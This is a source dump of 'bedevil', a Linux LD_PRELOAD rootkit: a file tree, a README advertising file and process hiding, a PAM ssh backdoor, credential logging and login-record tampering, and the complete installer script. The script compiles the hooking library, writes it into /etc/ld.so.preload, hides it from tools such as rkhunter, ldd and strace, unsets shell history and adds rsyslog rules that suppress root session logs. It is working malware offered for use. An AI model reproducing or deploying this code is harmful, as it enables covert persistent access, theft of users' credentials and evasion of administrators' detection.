├── .ascii
├── README.md
├── bedevil.sh
├── etc
├── README
├── eutils.sh
├── plibdl.sh
└── ssh.sh
└── modules
├── backdoor
└── pam
│ ├── pam.h
│ ├── pam_hooks.c
│ ├── pam_private.h
│ ├── pam_syslog.c
│ └── pam_vprompt.c
├── bdvl_util
├── bdusr.c
├── cprocname.c
├── util.h
├── v_acc.c
└── xor.c
├── dir
├── chdir.c
├── dir.h
├── mkdir.c
├── opendir.c
├── readdir.c
└── rmdir.c
├── exec
├── exec.h
├── execve.c
└── execvp.c
├── gid
├── gid.h
├── setegid.c
├── setgid.c
├── setregid.c
└── setresgid.c
├── headers
├── rk_creds.h
└── symbols.h
├── hiding
├── forge_maps.c
├── forge_procnet.c
├── hidegid.c
├── hiding.h
├── pcap
│ ├── pcap.c
│ └── pcap.h
├── ptrace.c
├── reinstall.c
├── socket.c
└── syslog
│ ├── syslog.c
│ └── syslog.h
├── lib_hooks
├── libdl
├── dladdr.c
├── dlinfo.c
├── dlsym.c
├── gsym.c
└── libdl.h
├── ln
├── links.h
└── unlink.c
├── module_includes
├── open
├── access.c
├── fopen.c
├── open.c
└── open.h
├── perms
├── chmod.c
├── chown.c
└── perms.h
├── prehook.c
├── pwd
├── pwd.h
├── pwnam_ent.c
└── pwnam_user.c
├── rw
├── fwrite.c
├── read.c
├── rw.h
└── write.c
├── stat
├── fstat.c
├── lstat.c
├── stat.c
└── stat.h
├── stconsts
├── std_includes
└── utmp
├── getut.c
├── putut.c
└── utmp.h
/.ascii:
--------------------------------------------------------------------------------
1 |
2 |
3 | /$$ /$$ /$$ /$$
4 | | $$ | $$ |__/| $$
5 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$
6 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| $$| $$
7 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$
8 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$
9 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$
10 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # bedevil
2 |
3 | ###### Based on my other rootkit, [vlany](https://github.com/mempodippy/vlany)
4 | bedevil is designed to be more robust, faster and efficient than vlany.
5 |
6 |
7 | #### Aim of bedevil
8 | Ultimately my core aim is to tidy up the project (previously vlany), fix outstanding issues and organise previous chaos into a more manageable system. This makes it heaps easier on me when it comes to managing the rootkit.
9 | I also made an effort to minimalise the amount of dependencies required to install the kit on a machine.
10 |
11 |
12 | #### Mandatory 'module' files
13 | * [__std_includes__](https://github.com/naworkcaj/bdvl/blob/master/modules/std_includes): list of standard headers to include for the shared library
14 | * [__module_includes__](https://github.com/naworkcaj/bdvl/blob/master/modules/module_includes): list of custom headers to include
15 | * [__lib_hooks__](https://github.com/naworkcaj/bdvl/blob/master/modules/lib_hooks): a list of library symbols to hook, along with their respective library names
16 | * [__stconsts__](https://github.com/naworkcaj/bdvl/blob/master/modules/stconsts): 'static' background consts that the user doesn't really need to see
17 | * [__prehook.c__](https://github.com/naworkcaj/bdvl/blob/master/modules/prehook.c): a file containing the constructor and destructor code for the shared library
18 |
19 |
20 | #### bedevil.sh
21 | ```
22 | $ ./bedevil.sh -h
23 |
24 | /$$ /$$ /$$ /$$
25 | | $$ | $$ |__/| $$
26 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$
27 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| $$| $$
28 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$
29 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$
30 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$
31 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/
32 |
33 |
34 |
35 | Usage: ./bedevil.sh [ -h | -v | -d | -f | -D | -c | -C | -i]
36 | -h: Show this help message and exit.
37 | -v: Toggle verbose output.
38 | -d: Populate rootkit headers with user data.
39 | -f: Toggle use of preconfigured settings file.
40 | You will be prompted for a file location during
41 | installation. This can be a local url or via http.
42 | -D: Install all potential required dependencies.
43 | -c: Compile rootkit library in current directory and exit.
44 | -C: Clean up installation/compilation mess and exit.
45 | -i: Launch full installation of bedevil. You will be
46 | prompted for input when needed.
47 |
48 |
49 | ```
50 | ###### *Compile only (no installation):* `./bedevil.sh -dbc` (will compile the .so in the your cwd)
51 | P.S.:The 'preconfigured settings file' is a way of transferring your previous settings without having to retype them out and whatnot.
52 | This doesn't actually work right now, so you may as well ignore it.
53 |
54 |
55 | ### Features
56 | #### File/process hiding:
57 | Processes and files are hidden using magic GIDs. Although the magic GID method is somewhat
58 | deprecated, it remains the fastest and the most simple. Not that it's bad, but people are highly
59 | aware of it now.
60 |
61 | #### Library presence hiding
62 | bedevil hides itself from any process map files. Reading /proc/$$/maps, /proc/$$/smaps, or
63 | /proc/$$/numa_maps when the kit is installed will make it seem apparent that there are no other potentially malicious libraries being loaded into userspace.
64 |
65 | Calling `ldd` on any dynamic binaries will not immediately reveal the location of the rootkit's shared library. Calling `ldd` as a regular user will throw a read/write error, and calling `ldd` as root user will grant us sufficient permissions to quickly uninstall and reinstall the rootkit after showing a 'clean' ldd output to the root user. Further fogging the location of the rootkit's library.
66 |
67 | #### User credential logging
68 | bedevil logs successful authentication attempts on the box it is installed on, but also will now log all outgoing ssh credentials. Successful authentications on the box are logged in your hidden directory, and logged outgoing ssh credentials are available in your hidden directory.
69 |
70 |
71 | #### Backdoor
72 | bedevil uses libpam as a backdoor surface to allow secure access over ssh.
73 | During installation you will supply your own choice of credentials that will allow you access to this backdoor.
74 | See [etc/ssh.sh](https://github.com/naworkcaj/bdvl/blob/master/etc/ssh.sh) on connecting with your hidden port.
75 | Upon connecting to the backdoor, you'll be shown more information that may prove useful. *([this](https://github.com/naworkcaj/bdvl/blob/master/etc/README))*
76 | #### [wtmp/utmp hooks](https://github.com/naworkcaj/bdvl/tree/master/modules/utmp)
77 | By hooking all of the responsible utmp & wtmp symbols, the backdoor user is more or less a phantom on any machine it's installed on. I say more or less because there is (as far as I know) at least one easy indication that the backdoor is present. However this only happens when the backdoor user is *still* logged in.
78 | This comment block explains more:
79 | ```
80 | /*
81 | * These are the functions responsible for actually
82 | * writing data to the utmp & wtmp files.
83 | *
84 | * Now, I've prevented information from being written
85 | * to the wtmp file, but not the utmp file.
86 | * So calling strings on wtmp won't reveal anything,
87 | * but calling strings on utmp will show information.
88 | * But that's ONLY when using strings.
89 | *
90 | * See, there are functions in libc which handle
91 | * fetching entries from utmp, and it is those functions
92 | * that I have hooked.
93 | *
94 | * Essentially, I can't stop (well I can but not now)
95 | * information from being written to utmp, but I can prevent
96 | * said functions from even thinking that the information
97 | * is even there in the first place.
98 | *
99 | * utmp only stores information about the user's logged
100 | * in currently. Whereas wtmp is essentially a history of logins.
101 | * So this isn't even an issue unless you're logged into the
102 | * backdoor 24/7.
103 | */
104 | ```
105 | ###### *from utmp/[putut.c](https://github.com/naworkcaj/bdvl/blob/master/modules/utmp/putut.c)*
106 |
107 | #### Notes
108 | * `while true; do ldd /bin/echo; done` :<
109 |
110 |
--------------------------------------------------------------------------------
/bedevil.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # default variables for certain settings.
4 | # these can/will be changed during setup.
5 | [ -z $MGID ] && MGID=$RANDOM
6 | [ -z $IDIR ] && IDIR="/lib/bedevil.$RANDOM"
7 | [ -z $BD_ENV ] && BD_ENV="`cat /dev/urandom | tr -dc 'A-Za-z' | fold -w 8 | head -n 1`"
8 | [ -z $LDSO_PRELOAD ] && LDSO_PRELOAD="/etc/ld.so.preload"
9 | [ -z $SSH_LOGS ] && SSH_LOGS="/lib/bedevil.$RANDOM"
10 |
11 | BDVLC="bdvl.c"
12 | BDVLSO="`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n1`.so" # shared object to create
13 | MDIR="modules"
14 | NEW_MDIR="${RANDOM}_$MDIR"
15 | LIBHOOKS="$NEW_MDIR/lib_hooks"
16 | PLATFORM="`uname -m`"
17 |
18 | CFILES=(".ascii" "etc/ssh.sh" "etc/eutils.sh" "etc/README") # local static files to copy over to the install dir
19 | declare -a array HOOKS=() # populated later...
20 | declare -a array HPROCS=("lsrootkit" "ldd" "unhide" "rkhunter" "chkproc" "chkdirs" "ltrace" "strace" "LD_AUDIT") # hide from these (proc names or env vars)
21 |
22 | clear # looks pretty (and there's now a considerable amount of output from this script)
23 | [ -f .ascii ] && printf "\e[1m\e[31m`cat .ascii`\e[0m\n"
24 |
25 | wecho() { printf " \e[33m[!]\e[0m $1\n"; }
26 | eecho() { printf " \e[31m[!]\e[0m $1\n"; }
27 | secho() { printf " \e[32m[+]\e[0m $1\n"; }
28 | necho() { printf " [..] $1\n"; }
29 |
30 | [ $(id -u) != 0 ] && { eecho "You do not have root privileges. Your actions are limited."; NOT_ROOT=1; }
31 | [ ! -e /proc ] && { eecho "/proc doesn't exist, exiting. May I suggest bailing?"; exit; }
32 | [ "$(cat /etc/ssh/sshd_config | grep 'UsePAM')" == "UsePAM yes" ] || echo "UsePAM yes" >> /etc/ssh/sshd_config
33 |
34 | if [ -f /etc/syslinux/config ]; then
35 | wecho "SELinux detected on this system."
36 | if [[ $(cat /etc/syslinux/config | grep "SELINUX=" | tail -n 1) == *"enforcing"* ]]; then
37 | wecho "SELinux is in enforcing mode. This may cause complications with bedevil."
38 | wecho "If you would like to, you may disable SELinux and continue."
39 | wecho "I will not disable SELinux for you, although I could."
40 | wecho "Disabling/removing SELinux presence on a box that's meant to have it"
41 | wecho "isn't very quiet to say the least, and keeping it enabled causes problems."
42 | wecho "If I were you, I'd avoid SELinux all together."
43 | fi
44 | fi
45 |
46 | HELPMSG="
47 | Usage: $0 [ -h | -v | -d | -f | -D | -c | -C | -i ]
48 | -h: Show this help message and exit.
49 | -v: Toggle verbose output.
50 | -d: Populate rootkit headers with user data.
51 | -f: Toggle use of preconfigured settings file.
52 | You will be prompted for a file location during
53 | installation. This can be a local url or via http.
54 | -D: Install all potential required dependencies.
55 | -c: Compile rootkit library in current directory and exit.
56 | -C: Clean up installation/compilation mess and exit.
57 | -i: Launch full installation of bedevil. You will be
58 | prompted for input when needed.
59 | "
60 |
61 | show_help() { echo "$HELPMSG"; }
62 | verb() { [ $VERBOSE = 1 ] && printf "\e[6m$1\e[0m\n"; }
63 |
64 | asc() { printf '%d' "'$1"; }
65 | xenc()
66 | {
67 | local din=$1
68 | local ptr dout val1
69 | for (( ptr=0;ptr<${#din};ptr++ )); do
70 | val1=$(asc "${din:$ptr:1}")
71 | dout+=$(printf '\\\\x%02x' "$((val1 ^ 0xac))")
72 | done
73 | printf '%s' "$dout"
74 | }
75 |
76 | gcharstrb()
77 | {
78 | # $1 = libname
79 | # $2 = size of char array
80 | cl="`echo -n $1 | awk '{print toupper($0)}'`"
81 | echo "\n#define ${cl}_SIZE $2\nstatic char *${1}_calls[${cl}_SIZE] = {"
82 | }
83 |
84 | # builds the char string
85 | # bleh
86 | glibhooks()
87 | {
88 | [ ! -f $LIBHOOKS ] && LIBHOOKS="$MDIR/lib_hooks" # fallback to plain (unconfigured) modules dir
89 | lhc=("$(cat $LIBHOOKS)")
90 | clibchar=""
91 | for lhookd in $lhc; do
92 | verb "current hook line: $lhookd"
93 | IFS=':' read -a lhookc <<< "$lhookd"
94 | # lhookc[0] = name of lib
95 | # lhookc[1] = another list, this one of symbols
96 | clibname="${lhookc[0]}"
97 | chooks="${lhookc[1]}"
98 | IFS=',' read -a lhooks <<< "$chooks"
99 | verb "\$lhookc[0](lib)=$clibname,\$lhooks[*](hooks)=${lhooks[*]}"
100 |
101 | # setup const char for header
102 | clibchar+="`gcharstrb $clibname ${#lhooks[@]}`"
103 | for chook in ${lhooks[@]}; do
104 | HOOKS+=("$chook")
105 | clibchar+="\"`xenc $chook`\","
106 | verb "\$chook=$chook"
107 | done
108 | clibchar="${clibchar::-1}};"
109 | verb "clibchar=$clibchar"
110 | done
111 | verb "\${HOOKS[*]}=${HOOKS[*]}"
112 | printf "$(ghookindexi ${HOOKS[@]})${clibchar}"
113 | }
114 |
115 | ghookindexi()
116 | {
117 | HOOKS=("$@")
118 | verb "\${HOOKS[*]}=${HOOKS[*]}"
119 |
120 | gcallschr="`gcharstrb "all" ${#HOOKS[@]}`"
121 | for chook in ${HOOKS[@]}; do
122 | gcallschr+="\"`xenc $chook`\","
123 | done
124 | gcallschr="${gcallschr::-1}};\n"
125 |
126 | gcallschr+="`gcharstrb "hprocs" ${#HPROCS[@]}`"
127 | for cproc in ${HPROCS[@]}; do
128 | gcallschr+="\"`xenc $cproc`\","
129 | done
130 | gcallschr="${gcallschr::-1}"
131 | gcallschr="${gcallschr//\\x/\\\\x}};\n"
132 | verb "gcallschr=$gcallschr"
133 |
134 | indx=0
135 | for chook in ${HOOKS[@]}; do
136 | gcallschr+="#define C`echo $chook | awk '{print toupper($0)}'` $indx\n"
137 | let "indx=$indx+1"
138 | done
139 | verb "last call=${HOOKS[(($indx-1))]}"
140 | printf "${gcallschr//\\x/\\\\\x}"
141 | }
142 |
143 | writechrs()
144 | {
145 | [ ! -d "$NEW_MDIR" ] && return
146 | necho "Building & writing C char arrays for the lib headers"
147 | local spefhooks="$(glibhooks)"
148 | printf "${spefhooks//\\x/\\\\x}\n#endif" >> $NEW_MDIR/headers/rk_creds.h
149 | }
150 |
151 | # see 'modules/stconsts'
152 | writesconsts()
153 | {
154 | local stconsts="`cat $NEW_MDIR/stconsts | grep -o '^[^#]*'`"
155 | local cconsts=""
156 |
157 | necho "Parsing stconsts"
158 | while read -r line; do # go line by line
159 | IFS=':' read -a pline <<< "$line" # seperate name and value on line
160 | cname=${pline[0]} # const name
161 | cval=${pline[1]} # const value
162 | [ $cval == $cname ] && cconsts+="#define $cname \"`xenc ${!cval}`\"\n" # reference variable in this script by the const value
163 | [ $cval != $cname ] && cconsts+="#define $cname \"`xenc $cval`\"\n" # we already have a suitable value, use that
164 | done <<< "$stconsts"
165 |
166 | printf "\n$cconsts\n" >> $NEW_MDIR/headers/rk_creds.h
167 | }
168 |
169 | # $1 = plaintext pwd
170 | guserpwd()
171 | {
172 | if [ ! -z "`which python3`" ]; then
173 | echo -n `python3 -c "import crypt;print(crypt.crypt('$1'))"` # python's crypt function generates a salt of 16 random chars
174 | return
175 | fi
176 | # as far as i know, most boxes that aren't ARM can use openssl's -6 algorithm below.
177 | echo -n $(openssl passwd -6 -salt `cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 16 | head -n1` $1)
178 | }
179 |
180 | # the config wizard will ask for variable input based on what placeholders are available.
181 | # if a placeholder appears to be a number, the wizard will ask for a number.
182 | # and if it's a string placeholder, it will ask for a string. fairly straight forward.
183 | # if no input is given, the default fallback is to set the variable to a random value.
184 | # all of the settings will be displayed to the user at the end of the function.
185 | start_config_wizard()
186 | {
187 | # use basic 'request & reply' system to communicate variables. less chance of things going wrong.
188 |
189 | # first we need to find what placeholders are available in our module directory.
190 | find_pholders
191 |
192 | # now that we know what placeholders are available, let's organise a list so we know exactly what placeholder we're
193 | # subbing a new variable for and when.
194 | # the user, you, will be the one creating the list, really.
195 |
196 | echo
197 | secho "Beginning the main user config wizard"
198 | necho "You may want to change a couple of the default input settings (username/password),"
199 | necho "but you can leave a majority of the settings as their defaults."
200 | echo
201 |
202 | for var in ${STR_VARS[*]}; do
203 | verb "'${FUNCNAME[0]}' - $var"
204 | unset REPLY
205 | RAND_VALUE="`cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 8 | head -n1`"
206 | [[ "$var" == *"IDIR"* ]] && RAND_VALUE=$IDIR
207 | [[ "$var" == *"BD_ENV"* ]] && RAND_VALUE=$BD_ENV
208 | [[ "$var" == *"SSH_LOGS"* ]] && RAND_VALUE=$SSH_LOGS
209 |
210 | read -p " [..] Variable input for ${var//\?} [$RAND_VALUE]: "
211 | if [ ! -z $REPLY ]; then
212 | if [[ "$var" == *"BD_PWD"* ]]; then
213 | PSETTINGS+="\"`xenc $(guserpwd $REPLY)`\":$var "
214 | continue
215 | fi
216 |
217 | PSETTINGS+="\"`xenc $REPLY`\":$var "
218 | [[ "$var" == *"IDIR"* ]] && eval IDIR="$REPLY"
219 | [[ "$var" == *"BD_ENV"* ]] && eval BD_ENV="$REPLY"
220 | [[ "$var" == *"SSH_LOGS"* ]] && eval SSH_LOGS="$REPLY"
221 | else
222 | if [[ "$var" == *"BD_PWD"* ]]; then
223 | PSETTINGS+="\"`xenc $(guserpwd $RAND_VALUE)`\":$var "
224 | continue
225 | fi
226 | PSETTINGS+="\"`xenc $RAND_VALUE`\":$var "
227 | fi
228 | done
229 |
230 | for var in ${INT_VARS[*]}; do
231 | verb "'${FUNCNAME[0]}' - $var"
232 | unset REPLY
233 | RAND_VALUE=`cat /dev/urandom | tr -dc '1-9' | fold -w 4 | head -n1`
234 | [[ "$var" == *"MGID"* ]] && { let "MGID %= 9999"; RAND_VALUE=$MGID; }
235 |
236 | read -p " [..] Variable input for ${var//\?} [$RAND_VALUE]: "
237 | if [ ! -z $REPLY ]; then
238 | PSETTINGS+="$REPLY:$var "
239 | [[ "$var" == *"MGID"* ]] && eval MGID=$REPLY
240 | else
241 | PSETTINGS+="$RAND_VALUE:$var "
242 | fi
243 | done
244 |
245 | SOPATH="$IDIR/$BDVLSO.$PLATFORM"
246 | secho "End of config wizard.\n"
247 | verb $PSETTINGS
248 | }
249 |
250 | gather_user_settings()
251 | {
252 | # the user has enabled the flag to use a file with predefined variables, prompt for the location of the file now.
253 | # file can be stored locally or through http. (i.e. http://google.com/my_bedevil_settings.txt)
254 | # each predefined variable should also have the respective placeholder next to it, separated by a colon.
255 | # i.e.:
256 | # my_bedevil_username:??UNAME??
257 | # my_bedevil_password:??PWD??
258 | if [ ! -z $PRECONF_SETTINGS ]; then
259 | necho "You have enabled the use of a preconfigured variable file."
260 | wecho "The file can be stored locally (in this directory) or on a http server."
261 | necho "i.e. 'my_bedevil_settings.txt' OR 'http://google.com/my_bedevil_settings.txt'"
262 |
263 | unset REPLY
264 | while [ -z $REPLY ]; do read -p " [..] Enter the location of the file: "; done
265 |
266 | if [[ "$REPLY" == *"http://"* ]]; then # if 'http://' in reply
267 | PSETTINGS="`wget -qO- $REPLY`" || { eecho "Could not download file."; exit; }
268 | else # if reply is just regular text
269 | [ ! -f $REPLY ] && { eecho "File '$REPLY' does not exist."; exit; }
270 | PSETTINGS="`cat $REPLY`"
271 | fi
272 | fi
273 |
274 | # PSETTINGS has not been created yet - the user is just using the regular method of configuration - begin the 'wizard'
275 | [ -z $PSETTINGS ] && start_config_wizard # once this function is complete, PSETTINGS will be created and it can then be parsed
276 | }
277 |
278 | c_includes()
279 | {
280 | _inc="`cat "$MDIR/std_includes" | grep -o '^[^#]*' && cat "$MDIR/module_includes" | grep -o '^[^#]*'`"
281 | while read -r line; do echo "#include $line"; done <<< "$_inc"
282 | }
283 |
284 | INT_VARS=()
285 | STR_VARS=()
286 | find_pholders()
287 | {
288 | necho "Finding variable placeholders"
289 | HDC=("$(find ./$MDIR/ -name '*.h' | xargs cat)")
290 | for w in $HDC; do
291 | CVAR=`echo $w | grep "??"`
292 | if [[ $CVAR == *"\""* ]]; then STR_VARS+=($CVAR);
293 | else INT_VARS+=($CVAR); fi
294 | done
295 |
296 | verb "'${FUNCNAME[0]}' - STR and INT var placeholders"
297 | verb "${STR_VARS[@]} ${INT_VARS[@]}"
298 | }
299 |
300 | # $1 = file location of current header.
301 | # we don't know what placeholders are in which files, but we do know what placeholders exist, so we can kinda just bruteforce our new stuff in.
302 | # there's probably a more efficient way of doing this, but unless we're looking at lots of headers we should be gucci.
303 | # this is done using $PSETTINGS. i.e.(a list of): NEW_VALUEX:??OLD_PLACEHOLDER??
304 | overwrite_pholders()
305 | {
306 | CPHOLDER=$1
307 | IFS=' ' read -a PSETTING <<< "$PSETTINGS" # parse current placeholder setting
308 | for ps in ${PSETTING[@]}; do
309 | IFS=':' read -a cps <<< "$ps"
310 | cx=$(printf ''${cps[0]}'' )
311 | verb "cps[0]=${cps[0]}" # new value
312 | verb "cps[1]=${cps[1]}" # old placeholder
313 | sed -i "s/${cps[1]}/${cx//x/'\\'\x}/g" $CPHOLDER # i don't know if this is proper but it works
314 | done
315 | }
316 |
317 | # only populate placeholders in new 'modules' directory. notify user the directory has been made with respective rootkit settings
318 | populate_new_pholders()
319 | {
320 | # if there is already a populated modules directory, ask the user if they want to overwrite it or not.
321 | # selecting no will abort the function. this seemed safe and practical to have.
322 | if [ -d $NEW_MDIR ]; then
323 | wecho "Directory $NEW_MDIR already exists."
324 | read -p "`wecho "Overwrite it? [y/N]: "`" -n 1 -r
325 | if [[ $REPLY =~ ^[Yy]$ ]]; then # they want to overwrite the populated directory
326 | echo
327 | wecho "Overwriting '$NEW_MDIR'"
328 | rm -rf $NEW_MDIR
329 | else
330 | echo
331 | secho "You did not want to overwrite '$NEW_MDIR'"
332 | secho "We will use the existing directory, with existing settings."
333 | return
334 | fi
335 | fi
336 |
337 | # copy module directory to new directory
338 | cp -r $MDIR/ $NEW_MDIR/ || { eecho "Couldn't copy module directory."; exit; }
339 |
340 | writechrs # write char arrays
341 | gather_user_settings
342 | writesconsts # write mandatory background consts
343 |
344 | necho "Overwriting variable placeholders with new settings"
345 | # now PSETTINGS definitely exists, we can start parsing it for variables and replacing old placeholders
346 | PHEADERS=("$(find ./$NEW_MDIR/ -name '*.h')")
347 | for h in $PHEADERS; do overwrite_pholders $h; done
348 | }
349 |
350 | cleanup_bdvl()
351 | {
352 | secho "Cleaning up local mess."
353 | [ -d $NEW_MDIR ] && rm -rf $NEW_MDIR
354 | [ -f $BDVLC ] && rm -f $BDVLC
355 | rm -f *.so.*
356 | }
357 |
358 | build_bdvlc()
359 | {
360 | [ ! -d $NEW_MDIR ] && { eecho "Failed to build $BDVLC - '$NEW_MDIR' does not exist."; exit; }
361 | [ -f $BDVLC ] && necho "$BDVLC exists already. It will be overwritten."
362 | local _BDVLC="#define _GNU_SOURCE
363 | `c_includes`
364 | `cat "$NEW_MDIR/prehook.c"`"
365 | echo "$_BDVLC" > $BDVLC
366 | }
367 |
368 | install_deps()
369 | {
370 | necho "Installing dependencies."
371 | if [ -f /usr/bin/yum ]; then
372 | yum install -y -q -e 0 gcc pam-devel newt libgcc.i686 glibc-devel.i686 glibc-devel libpcap libpcap-devel vim-common &>/dev/null
373 | elif [ -f /usr/bin/apt-get ]; then
374 | dpkg --add-architecture i386 &>/dev/null
375 | yes | apt-get update &>/dev/null
376 | apt-get --yes --force-yes install libpam-dev libpcap-dev gcc-multilib build-essential &>/dev/null
377 | [ ! -z "$(apt-cache search libpcap0.8-dev)" ] && apt-get --yes --force-yes install libpcap0.8-dev &>/dev/null
378 | grep -i ubuntu /proc/version &>/dev/null && rm -f /etc/init/plymouth* &>/dev/null
379 | elif [ -f /usr/bin/pacman ]; then
380 | pacman -Syy &>/dev/null
381 | pacman -S --noconfirm pam libpcap base-devel &>/dev/null
382 | fi
383 | }
384 |
385 | compile_bdvl()
386 | {
387 | [ ! -d "$NEW_MDIR" ] && { eecho "'$NEW_MDIR' does not exist. Have you populated your new headers?"; exit; }
388 | local WARNING_FLAGS="-Wall -Wno-comment -Wno-nonnull-compare"
389 | local OPTIMIZATION_FLAGS="-O0 -g0"
390 | local OPTIONS="-fomit-frame-pointer -fPIC"
391 | local LINKER_OPTIONS="-Wl,--build-id=none"
392 | local LINKER_FLAGS="-ldl -lcrypt"
393 |
394 | rm -rf *.so.*
395 | gcc -std=gnu99 $OPTIMIZATION_FLAGS $BDVLC $WARNING_FLAGS $OPTIONS -I$NEW_MDIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $BDVLSO.$PLATFORM
396 | gcc -m32 -std=gnu99 $OPTIMIZATION_FLAGS $BDVLC $WARNING_FLAGS $OPTIONS -I$NEW_MDIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $BDVLSO.i686 &>/dev/null
397 | strip $BDVLSO.$PLATFORM || { eecho "Couldn't strip library. Exiting."; exit; }
398 | strip $BDVLSO.i686 &>/dev/null
399 |
400 | secho "Shared library compiled."
401 | rm $BDVLC
402 | }
403 |
404 | # $1 = installation directory (home)
405 | setup_home()
406 | {
407 | echo '. .bashrc' > "$1/.profile"
408 | local LBASHRC="$1/.bashrc"
409 | mkdir $1/etc
410 | for f in ${CFILES[*]}; do cp $f $1/$f; done # copy array of 'important' static files
411 | local RBASHRC="tty -s || return
412 | [ ! -z \$TERM ] && export TERM=xterm
413 | unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND
414 | [ \$(id -u) != 0 ] && su root
415 | [ \$(id -u) != 0 ] && kill -9 \$\$
416 | [ -f ~/etc/README ] && cat ~/etc/README | less && rm ~/etc/README
417 |
418 | clear
419 | [ -f ~/.ascii ] && printf \"\\e[1m\\e[31m\`cat ~/.ascii\`\\e[0m\\n\"
420 |
421 | export PATH=\"\$PATH:~/etc\"
422 | alias ls='ls --color=auto'
423 | alias ll='ls --color=auto -AlFhn'
424 |
425 | id; who
426 | [ ! -f ~/auth_logs ] && touch ~/auth_logs
427 | echo -e \"\\033[1mLogged accounts: \\033[1;31m\$(grep Username ~/auth_logs 2>/dev/null | wc -l)\\033[0m\"
428 | echo -e \"\\033[1mSSH logs: \\033[1;31m\$(cat ~/ssh_logs | wc -l)\\033[0m\""
429 | echo "$RBASHRC" > $LBASHRC
430 |
431 | necho "Hiding rootkit files"
432 | touch $SSH_LOGS && chmod 777 $SSH_LOGS && ln -s $SSH_LOGS $1/ssh_logs
433 | chown 0:$MGID $LDSO_PRELOAD $SSH_LOGS $1 $1/* $1/.profile $1/.bashrc $1/.ascii
434 |
435 | necho "Attempting to fix systemd"
436 | if [ -d /etc/rsyslog.d ]; then
437 | echo 'if ($programname == "systemd" or $programname == "systemd-logind") and (($msg contains "New session" and $msg contains "of user root") or ($msg contains "session opened for user root by (uid=0)") or ($msg contains "Removed session") or ($msg contains "session closed for user root")) then stop'>/etc/rsyslog.d/bdvl_sysd.conf
438 | systemctl restart rsyslog
439 | secho "New systemd rules written."
440 | fi
441 | }
442 |
443 | install_bdvl()
444 | {
445 | [ ! -z $NOT_ROOT ] && { eecho "You cannot install bedevil without root privs. Exiting."; exit; }
446 |
447 | secho "Starting full installation!\n"
448 |
449 | wecho "Do you want to patch the dynamic linker?"
450 | necho "This essentially provides libdl a new ld.so.preload file location."
451 | wecho "If you are doing this, you need to do this now."
452 |
453 | read -p "`wecho "Patch libdl? [Y/n]: "`" -n 1 -r
454 | if [[ $REPLY =~ ^[Yy]$ ]]; then patch_libdl;
455 | else echo; necho "Not patching libdl."; fi
456 |
457 | read -p "`wecho "Install potential dependencies? [Y/n]: "`" -n 1 -r
458 | [[ $REPLY =~ ^[Yy]$ ]] && install_deps
459 | echo ""
460 |
461 | populate_new_pholders # this will check, for us, if $NEW_MDIR exists or not, and will make it
462 |
463 | necho "Compiling the rootkit shared library."
464 | build_bdvlc # builds bdvl.c so we can compile the SO
465 | compile_bdvl # after this, bdvl.so.* will now exist in the cwd
466 |
467 | export ${BD_ENV}=1
468 |
469 | # now we have to install the library and make sure it is present in ld.so.preload
470 | necho "Installing $BDVLSO to $SOPATH"
471 | rm -rf $IDIR/
472 | mkdir -p $IDIR/
473 | cp $BDVLSO.$PLATFORM $SOPATH
474 | cp $BDVLSO.i686 $IDIR/$BDVLSO.i686 2>/dev/null
475 |
476 | necho "Pointing $LDSO_PRELOAD to $SOPATH"
477 | [ -f "$LDSO_PRELOAD" ] && chattr -ia $LDSO_PRELOAD &>/dev/null
478 | echo -n $SOPATH > $LDSO_PRELOAD
479 | secho "Installation successful."
480 | cleanup_bdvl
481 | echo
482 |
483 | setup_home $IDIR
484 | secho "Your PAM backdoor is set up."
485 | secho "See 'etc/ssh.sh' on connecting with your hidden port."
486 | }
487 |
488 | patch_libdl()
489 | {
490 | necho "Patching dynamic linker libraries."
491 | LDSO_PRELOAD="$(etc/plibdl.sh $LDSO_PRELOAD)" # change the variable to the new preload file location
492 | secho "New ld.so.preload location: $LDSO_PRELOAD"
493 | }
494 |
495 |
496 | OPTIND=1
497 | VERBOSE=0
498 |
499 | while getopts "h?vdfpcCbiD" opt; do
500 | case "$opt" in
501 | h)
502 | show_help
503 | exit
504 | ;;
505 | v)
506 | secho "Running in verbose mode."
507 | VERBOSE=1
508 | ;;
509 | d)
510 | populate_new_pholders
511 | ;;
512 | f)
513 | PRECONF_SETTINGS=1
514 | ;;
515 | p)
516 | gather_user_settings
517 | echo $PSETTINGS > example_config
518 | exit
519 | ;;
520 | c)
521 | compile_bdvl
522 | ;;
523 | C)
524 | cleanup_bdvl
525 | exit
526 | ;;
527 | b)
528 | build_bdvlc
529 | ;;
530 | i)
531 | install_bdvl
532 | exit
533 | ;;
534 | D)
535 | install_deps
536 | exit
537 | ;;
538 | ?)
539 | show_help
540 | exit
541 | ;;
542 | esac
543 | done
544 |
545 | [ -z $1 ] && show_help
546 |
--------------------------------------------------------------------------------
/etc/README:
--------------------------------------------------------------------------------
1 |
2 |
3 | /$$ /$$ /$$ /$$
4 | | $$ | $$ |__/| $$
5 | | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$| $$
6 | | $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$/| $$| $$
